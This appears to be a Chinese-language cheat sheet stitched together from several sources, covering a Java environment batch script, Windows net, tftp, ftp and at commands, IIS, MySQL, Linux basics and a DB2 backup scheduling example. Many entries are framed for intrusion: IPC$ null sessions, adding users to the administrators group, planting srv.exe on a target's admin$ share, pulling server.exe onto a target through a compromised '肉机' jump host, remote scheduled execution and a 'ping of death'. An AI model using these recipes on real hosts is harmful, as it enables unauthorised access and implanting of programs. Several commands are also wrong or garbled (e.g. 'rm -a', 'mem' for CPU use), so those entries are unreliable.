:: 这段批处理程序可以自动设置 Java 环境变量

```
@echo off
IF EXIST %1\bin\java.exe (
rem 如输入正确的 Java2SDK 安装目录，开始设置环境变量
@setx JAVA_HOME %1
@setx path %path%;%JAVA_HOME%\bin
@setx classpath %classpath%;.
@setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar
@setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar
@setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar
@echo on
@echo Java 2 SDK 环境参数设置完毕，正常退出。
) ELSE (
IF "%1"==" " (
rem 如没有提供安装目录，提示之后退出
@echo on
@echo 没有提供 Java2SDK 的安装目录,不做任何设置，现在退出环境变量设置。
) ELSE (
rem 如果提供非空的安装目录但没有 bin\java.exe，则指定的目录为错误的目录
@echo on
@echo 非法的 Java2SDK 的安装目录,不做任何设置，现在退出环境变量设置。
)
)
```

dos 命令参考~~~

```
net use \\ip\ipc$ " " /user:" " 建立 IPC 空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立 IPC 非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方 C: 到本地为 H:
net use h: \\ip\c$ 登陆后映射对方 C: 到本地为 H:
net use \\ip\ipc$ /del 删除 IPC 链接
net use h: /del 删除映射对方到本地的为 H:的映射
```

net user 用户名 密码 /add 建立用户  
net user guest /active:yes 激活 guest 用户  
net user 查看有哪些用户  
net user 帐户名 查看帐户的属性  
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,  
注意: administrator 后加 s 用复数  
net start 查看开启了哪些服务  
net start 服务名 开启服务; (如:net start telnet, net start schedule)  
net stop 服务名 停止某服务  
net time \\目标 ip 查看对方时间  
net time \\目标 ip /set 设置本地计算机时间与“目标 IP”主机的时间同步,加上参数/yes 可  
取消确认信息  
net view 查看本地局域网内开启了哪些共享  
net view \\ip 查看对方局域网内开启了哪些共享  
net config 显示系统网络设置  
net logoff 断开连接的共享  
net pause 服务名 暂停某服务  
net send ip "文本信息" 向对方发信息  
net ver 局域网内正在使用的网络连接类型和信息  
net share 查看本地开启的共享  
net share ipc\$ 开启 ipc\$ 共享  
net share ipc\$ /del 删除 ipc\$ 共享  
net share c\$ /del 删除 C: 共享  
net user guest 12345 用 guest 用户登陆后用将密码改为 12345  
net password 密码 更改系统登陆密码  
netstat -a 查看开启了哪些端口,常用 netstat -an  
netstat -n 查看端口的网络连接情况, 常用 netstat -an  
netstat -v 查看正在进行的工作  
netstat -p 协议名 例: netstat -p tcp/ip 查看某协议使用情况 (查看 tcp/ip 协议使用情况)  
netstat -s 查看正在使用的所有协议使用情况  
nbtstat -A ip 对方 136 到 139 其中一个端口开了的话,就可查看对方最近登陆的用户名 (03  
前的为用户名) -注意: 参数-A 要大写  
tracert -参数 ip(或计算机名) 跟踪路由 (数据包), 参数: “-w 数字” 用于设置超时间隔。  
ping ip(或域名) 向对方主机发送默认大小为 32 字节的数据, 参数: “-[空格]数据包大小”;  
“-n 发送数据次数”; “-t” 指一直 ping。  
ping -t -l 65550 ip 死亡之 ping(发送大于 K 的文件并一直 ping 就成了死亡之 ping)  
ipconfig (winipcfg) 用于 windows NT 及 XP(windows 95 98)查看本地 ip 地址, ipconfig 可用参  
数 “/all” 显示全部配置信息  
tlist -t 以树行列表显示进程(为系统的附加工具, 默认是没有安装的, 在安装目录的  
Support/tools 文件夹内)  
kill -F 进程名 加-F 参数后强制结束某进程(为系统的附加工具, 默认是没有安装的, 在安装  
目录的 Support/tools 文件夹内)  
del -F 文件名 加-F 参数后就可删除只读文件,/AR、/AH、/AS、/AA 分别表示删除只读、隐  
藏、系统、存档文件, /A-R、/A-H、/A-S、/A-A 表示删除除只读、隐藏、系统、存档以外的

文件。例如“DEL/AR \*.\*”表示删除当前目录下所有只读文件，“DEL/A-S \*.\*”表示删除当前目录下除系统文件以外的所有文件

del /S /Q 目录 或用: rmdir /s /Q 目录 /S 删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y 将取消确认移动目录存在相同文件的提示就直接覆盖

fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到 3st.txt 文件中, ">"和">>" 是重定向命令

at id 号 开启已注册的某个计划任务

at /delete 停止所有计划任务, 用参数/yes 则不需要确认就直接停止

at id 号 /delete 停止某个已注册的计划任务

at 查看所有的计划任务

at \ip time 程序名(或一个命令)/r 在某时间运行对方某程序并重新启动计算机

finger username @host 查看最近有哪些用户登陆

telnet ip 端口 远和登陆服务器,默认端口为 23

open ip 连接到 IP (属 telnet 登陆后的命令)

telnet 在本机上直接键入 telnet 将进入本机的 telnet

copy 路径\文件名 1 路径\文件名 2 /y 复制文件 1 到指定的目录为文件 2, 用参数/y 就同时取消确认你要改写一份现存目录文件

copy c:\srv.exe \\ip\admin\$ 复制本地 c:\srv.exe 到对方的 admin 下

copy 1st.jpg/b+2st.txt/a 3st.jpg 将 2st.txt 的内容藏身到 1st.jpg 中生成 3st.jpg 新的文件, 注: 2st.txt 文件头要空三排, 参数: /b 指二进制文件, /a 指 ASCII 格式文件

copy \\ip\admin\$\svs.exe c:\ 或:copy\\ip\admin\$ \*.\* 复制对方 admin\$共享下的 svs.exe 文件 (所有文件) 至本地 C:

xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树, 用参数/Y 将不提示覆盖相同文件

tftp -i 自己 IP(用肉机作跳板时这用肉机 IP) get server.exe c:\server.exe 登陆后, 将“IP”的 server.exe 下载到目标主机 c:\server.exe 参数: -i 指以二进制模式传送, 如传送 exe 文件时用, 如不加-i 则以 ASCII 模式(传送文本文件模式)进行传送

tftp -i 对方 IP put c:\server.exe 登陆后, 上传本地 c:\server.exe 至主机

ftp ip 端口 用于上传文件至服务器或进行文件操作, 默认端口为 21。bin 指用二进制方式传送(可执行文件进); 默认为 ASCII 格式传送(文本文件时)

route print 显示出 IP 路由, 将主要显示网络地址 Network address, 子网掩码 Netmask, 网关地址 Gateway address, 接口地址 Interface

arp 查看和处理 ARP 缓存, ARP 是名字解析的意思, 负责把一个 IP 解析成一个物理性的 MAC 地址。arp -a 将显示出全部信息

start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令

mem 查看 cpu 使用情况

attrib 文件名(目录名) 查看某文件(目录)的属性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档, 只读, 系统, 隐藏 属性; 用+则是添加为某属性

dir 查看文件, 参数: /Q 显示文件及目录属系统哪个用户, /T:C 显示文件创建时间, /T:A 显示文件上次被访问时间, /T:W 上次被修改时间

date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间, 而不必输

入新日期和时间

**set** 指定环境变量名称=要指派给变量的字符 设置环境变量

**set** 显示当前所有的环境变量

**set p**(或其它字符) 显示出当前以字符 **p**(或其它字符)开头的的环境变量

**pause** 暂停批处理程序，并显示出：请按任意键继续....

**if** 在批处理程序中执行条件处理（更多说明见 **if** 命令及变量）

**goto** 标签 将 **cmd.exe** 导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“: start” 标签）

**call** 路径\批处理文件名 从批处理程序中调用另一个批处理程序（更多说明见 **call /?**）

**for** 对一组文件中的每一个文件执行某个特定命令（更多说明见 **for** 命令及变量）

**echo on** 或 **off** 打开或关闭 **echo**，仅用 **echo** 不加参数则显示当前 **echo** 设置

**echo** 信息 在屏幕上显示出信息

**echo** 信息 >> **pass.txt** 将"信息"保存到 **pass.txt** 文件中

**findstr** "Hello" **aa.txt** 在 **aa.txt** 文件中寻找字符串 **hello**

**find** 文件名 查找某文件

**title** 标题名字 更改 **CMD** 窗口标题名字

**color** 颜色值 设置 **cmd** 控制台前景和背景颜色；0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

**prompt** 名称 更改 **cmd.exe** 的显示的命令提示符(把 C:\、D:\统一改为: EntSky\ )

**print** 文件名 打印文本文件

**2ver** 在 DOS 窗口下显示版本信息

**winver** 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）

**format** 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例: **Format D: /FS:NTFS**

**md** 目录名 创建目录

**replace** 源文件 要替换文件的目录 替换文件

**ren** 原文件名 新文件名 重命名文件名

**tree** 以树形结构显示出目录，用参数 **-f** 将列出第个文件夹中文件名称

**type** 文件名 显示文本文件的内容

**more** 文件名 逐屏显示输出文件

**doskey** 要锁定的命令=字符

**doskey** 要解锁命令= 为 DOS 提供的锁定命令(编辑命令行,重新调用 **win2k** 命令,并创建宏)。

如: 锁定 **dir** 命令: **doskey dir=entsky** (不能用 **doskey dir=dir**)；解锁: **doskey dir=**

**taskmgr** 调出任务管理器

**chkdsk /F D:** 检查磁盘 **D** 并显示状态报告；加参数 **/f** 并修复磁盘上的错误

**tlntadm telnt** 服务 **admn**,键入 **tlntadm** 选择 **3**，再选择 **8**,就可以更改 **telnet** 服务默认端口 **23** 为其它任何端口

**exit** 退出 **cmd.exe** 程序或目前，用参数 **/B** 则是退出当前批处理脚本而不是 **cmd.exe**

**path** 路径\可执行文件的文件名 为可执行文件设置一个路径。

**cmd** 启动一个 **win2K** 命令解释窗口。参数: **/eff**、**/en** 关闭、开启命令扩展；更我详细说明见 **cmd /?**

**regedit /s** 注册表文件名 导入注册表；参数 **/S** 指安静模式导入，无任何提示；

**regedit /e** 注册表文件名 导出注册表

**cacls** 文件名 参数 显示或修改文件访问控制列表 (ACL) ——针对 **NTFS** 格式时。参数: **/D**

用户名:设定拒绝某用户访问; /P 用户名:perm 替换指定用户的访问权限; /G 用户名:perm 赋予指定用户访问权限; Perm 可以是: N 无, R 读取, W 写入, C 更改(写入), F 完全控制; 例: `cacls D:\test.txt /D pub` 设定 d:\test.txt 拒绝 pub 用户访问。

`cacls` 文件名 查看文件的访问用户权限列表

`REM` 文本内容 在批处理文件中添加注解

`netsh` 查看或更改本地网络配置情况

IIS 服务命令:

`iisreset /reboot` 重启 win2k 计算机 (但有提示系统将重启信息出现)

`iisreset /start` 或 `stop` 启动 (停止) 所有 Internet 服务

`iisreset /restart` 停止然后重新启动所有 Internet 服务

`iisreset /status` 显示所有 Internet 服务状态

`iisreset /enable` 或 `disable` 在本地系统上启用 (禁用) Internet 服务的重新启动

`iisreset /rebootonerror` 当启动、停止或重新启动 Internet 服务时, 若发生错误将重新开机

`iisreset /noforce` 若无法停止 Internet 服务, 将不会强制终止 Internet 服务

`iisreset /timeout Val` 在到达逾时间 (秒) 时, 仍未停止 Internet 服务, 若指定 `/rebootonerror` 参数, 则电脑将会重新开机。预设值为重新启动 20 秒, 停止 60 秒, 重新开机 0 秒。

FTP 命令: (后面有详细说明内容)

ftp 的命令行格式为:

`ftp -v -d -i -n -g[主机名] -v` 显示远程服务器的所有响应信息。

`-d` 使用调试方式。

`-n` 限制 ftp 的自动登录, 即不使用 .netrc 文件。

`-g` 取消全局文件名。

`help [命令]` 或 `/?[命令]` 查看命令说明

`bye` 或 `quit` 终止主机 FTP 进程, 并退出 FTP 管理方式。

`pwd` 列出当前远端主机目录

`put` 或 `send` 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中

`get` 或 `recv` [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中

`mget [remote-files]` 从远端主机接收一批文件至本地主机

`mput local-files` 将本地主机中一批文件传送至远端主机

`dir` 或 `ls [remote-directory] [local-file]` 列出当前远端主机目录中的文件. 如果有本地文件, 就将结果写至本地文件

`ascii` 设定以 ASCII 方式传送文件(缺省值)

`bin` 或 `image` 设定以二进制方式传送文件

`bell` 每完成一次文件传送, 报警提示

`cdup` 返回上一级目录

`close` 中断与远程服务器的 ftp 会话(与 `open` 对应)

`open host[port]` 建立指定 ftp 服务器连接, 可指定连接端口

`delete` 删除远端主机中的文件

`mdelete [remote-files]` 删除一批文件

`mkdir directory-name` 在远端主机中建立目录

`rename [from] [to]` 改变远端主机中的文件名

`rmdir directory-name` 删除远端主机中的目录

`status` 显示当前 FTP 的状态



system 显示远端主机系统类型  
user user-name [password] [account] 重新以别的用户名登录远端主机  
open host [port] 重新建立一个新的连接  
prompt 交互提示模式  
macdef 定义宏命令  
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的 HOME 目录  
chmod 改变远端主机的文件权限  
case 当为 ON 时,用 MGET 命令拷贝的文件名到本地机器中,全部转换为小写字母  
cd remote-dir 进入远程主机目录  
cdup 进入远程主机目录的父目录  
! 在本地机中执行交互 shell, exit 回到 ftp 环境,如!ls \*.zip

#### MYSQL 命令:

mysql -h 主机地址 -u 用户名 -p 密码 连接 MYSQL;如果刚安装好 MYSQL,超级用户 root 是没有密码的。

(例: mysql -h110.110.110.110 -Uroot -P123456

注:u 与 root 可以不用加空格,其它也一样)

exit 退出 MYSQL

mysqladmin -u 用户名 -p 旧密码 password 新密码 修改密码

grant select on 数据库.\* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是 MYSQL 环境中的命令,所以后面都带一个分号作为命令结束符)

show databases; 显示数据库列表。刚开始时才有两个数据库:mysql 和 test.mysql 库很重要它里面有 MYSQL 的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

use mysql;

show tables; 显示库中的数据表

describe 表名; 显示数据表的结构

create database 库名; 建库

use 库名;

create table 表名 (字段设定列表); 建表

drop database 库名;

drop table 表名; 删库和删表

delete from 表名; 将表中记录清空

select \* from 表名; 显示表中的记录

mysqldump --opt school>school.bbb 备份数据库:(命令在 DOS 的\\mysql\\bin 目录下执行);

注释:将数据库 school 备份到 school.bbb 文件,school.bbb 是一个文本文件,文件名任取,打开看看你会有新发现。

win2003 系统下新增命令(实用部份):

shutdown /参数 关闭或重启本地或远程主机。

参数说明: /S 关闭主机, /R 重启主机, /T 数字 设定延时的时间,范围 0~180 秒之间,

/A 取消开机, /M //IP 指定的远程主机。

例: shutdown /r /t 0 立即重启本地主机(无延时)

taskkill /参数 进程名或进程的 pid 终止一个或多个任务和进程。

参数说明: /PID 要终止进程的 pid,可用 tasklist 命令获得各进程的 pid, /IM 要终止的进程的进程名, /F 强制终止进程, /T 终止指定的进程及他所启动的子进程。

tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明: /M 列出当前进程加载的 dll 文件, /SVC 显示出每个进程对应的服务, 无参数时就只列出当前的进程。

Linux 系统下基本命令: 要区分大小写

uname 显示版本信息 (同 win2K 的 ver)

dir 显示当前目录文件,ls -al 显示包括隐藏文件 (同 win2K 的 dir)

pwd 查询当前所在的目录位置

cd cd ..回到上一层目录, 注意 cd 与..之间有空格。cd /返回到根目录。

cat 文件名 查看文件内容

cat >abc.txt 往 abc.txt 文件中写上内容。

more 文件名 以一页一页的方式显示一个文本文件。

cp 复制文件

mv 移动文件

rm 文件名 删除文件, rm -a 目录名删除目录及子目录

mkdir 目录名 建立目录

rmdir 删除子目录, 目录内没有文档。

chmod 设定档案或目录的存取权限

grep 在档案中查找字符串

diff 档案文件比较

find 档案搜寻

date 现在的日期、时间

who 查询目前和你使用同一台机器的人以及 Login 时间地点

w 查询目前上机者的详细资料

whoami 查看自己的帐号名称

groups 查看某人的 Group

passwd 更改密码

history 查看自己下过的命令

ps 显示进程状态

kill 停止某进程

gcc 黑客通常用它来编译 C 语言写的文件

su 权限转换为指定使用者

telnet IP telnet 连接对方主机 (同 win2K), 当出现 bash\$时就说明连接成功。

ftp ftp 连接上某服务器 (同 win2K)

Windows 排程範例

若要在 Windows 系統上啟動自動化的備份工作, 排程服務必須執行中。您可以利用下列指令來啟動這個服務:

net start schedule

如果排程服務正在執行中, 則工作可以利用 at 指令來加以排程, 這個指令是用來呼叫批次

檔 backup.cmd (backup.cmd 的內容可以在 Windows 的備份排程元素找到)。如果您想要在每個星期五的下午 8 點整執行這個指令，則必須呼叫下列指令：

```
at 20:00 /every:f cmd /c c::\db2\C21\sapscripts\backup.cmd
```